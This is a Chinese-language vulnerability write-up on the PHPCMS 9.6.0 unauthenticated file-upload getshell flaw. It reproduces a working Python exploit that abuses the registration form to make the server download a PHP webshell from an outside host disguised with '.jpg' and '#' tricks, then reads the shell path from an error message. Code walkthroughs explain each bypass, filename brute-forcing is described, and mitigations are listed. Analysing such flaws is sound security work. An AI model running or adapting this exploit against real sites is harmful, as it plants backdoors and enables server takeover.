0x01 概述
2017年4月,爆出phpcms9.6.0的任意文件上传getshell漏洞,攻击者无需登录认证即可在登录页面利用此漏洞,挺厉害。
0x02 bug重现及POC
登录页面:
利用POC:
//poc来源:http://hacktech.cn/2017/04/10/phpcms9-6-0-getshell-with-python.html
# -*- coding:utf-8 -*- ''' ---------------------- Author : Akkuman Blog : hacktech.cn ---------------------- ''' import requests import sys from random import Random chars = 'qwertyuiopasdfghjklzxcvbnm0123456789' def main(): if len(sys.argv) < 2: print("[*]Usage : Python 1.py http://xxx.com") sys.exit() host = sys.argv[1] url = host + "/index.php?m=member&c=index&a=register&siteid=1" data = { "siteid": "1", "modelid": "1", "username": "dsakkfaffdssdudi", "password": "123456", "email": "dsakkfddsjdi@qq.com", # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>", "dosubmit": "1", "protocol": "", } try: rand_name = chars[Random().randint(0, len(chars) - 1)] data["username"] = "akkuman_%s" % rand_name data["email"] = "akkuman_%s@qq.com" % rand_name htmlContent = requests.post(url, data=data) successUrl = "" if "MySQL Error" in htmlContent.text and "http" in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php" print("[*]Shell : %s" % successUrl) if successUrl == "": print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n") except: print("Request Error") if __name__ == '__main__': main()
菜刀连接得到的shell地址,如图:
重现成功!
(注意这里的文件名(shell地址)是可以爆破的,后文说明。)
0x03 修复方案
1.升级到最新版本
2.关闭注册功能
3.禁止uploadfile目录下动态脚本执行
0x04 bug分析
由poc的
index.php?m=member&c=index&a=register&siteid=1
找到这个index.php的register函数
关键代码:
//附表信息验证 通过模型获取会员信息 if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']);
Info由用户POST提交,再找到get函数所在的member_input.class.php
关键代码:
function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); } function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename']; $info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info; }
modelid在index.php中可以找到,POST提交即可:
$userinfo[‘modelid’] = isset($_POST[‘modelid’]) ? intval($_POST[‘modelid’]) : 10;
变量$modelid可控,赋值为1时便从model_field_1.cache.php文件中读取缓存配置
关键在于
$func = $this->fields[$field][‘formtype’];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
根据model_field_1.cache.php的
‘errortips’ => ‘内容不能为空’,
‘formtype’ => ‘editor’,
‘setting’ => ‘array (
可知就是调用editor方法,其中$field和$value均可控,为POST方式info数组的key和value。那就进入input.inc.php看看
function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; }
可以看出这是$field已经写成了content,所以payload要写成info[content],再进入attachment->download看看
文件:attachment.class.php
关键代码:
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); }
正则要求满足src/href=url.(gif|jpg|jpeg|bmp|png)的形式,所以payload后面加了.jpg来绕过,接着用$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);去除锚点,即#,
就是说url有#就去掉#和#后面的内容,所以payload加上了#。
再来到
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
在构造方法中upload_func就是copy方法
$this->upload_func = ‘copy’;
就这样把用户提交的经过正则处理后的url下载到了本地,导致getshell。
接下来就是分析文件名了,由第二张图可以看出文件名是:年月日时分秒+(100-999三位随机字符),可以爆破。
还有一种更简单的方法,回到最初的那个register函数,
关键代码:
if($status > 0) { $userinfo['phpssouid'] = $status; //传入phpsso为明文密码,加密后存入phpcms_v9 $password = $userinfo['password']; $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']); $userid = $this->db->insert($userinfo, 1); if($member_setting['choosemodel']) { //如果开启选择模型 $user_model_info['userid'] = $userid; //插入会员模型数据 $this->db->set_model($userinfo['modelid']); $this->db->insert($user_model_info); }
看以看出在status>0时,userid加到user_model_info数组再插入数据库,就是新增会员,在v9_member_detail表,
表结构如图:
由于没有content字段,但是$user_model_info数组已经包含了payload构造提交的info[content]=的内容,所以报错返回了shell路径。
还没完,还有个要求是status>0才行,那看看怎么样status会不大于0,找到client.class.php文件,搜索return -:
几乎都是username和email的问题,所以用户名和邮箱要符合要求。
据说在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径。
0x04 结语
参考了网上高手写的分析来写的,有些地方还是不是很理解,比如为什么会允许post个[info][content],而且还是前台注册界面,是为了让用户上传文件?这样也太奇怪了吧,审计路漫漫,长且艰。
0x05 参考资料
1.http://www.freebuf.com/vuls/131809.html
2.http://paper.seebug.org/273/
3.http://seclab.dbappsecurity.com.cn/?p=1661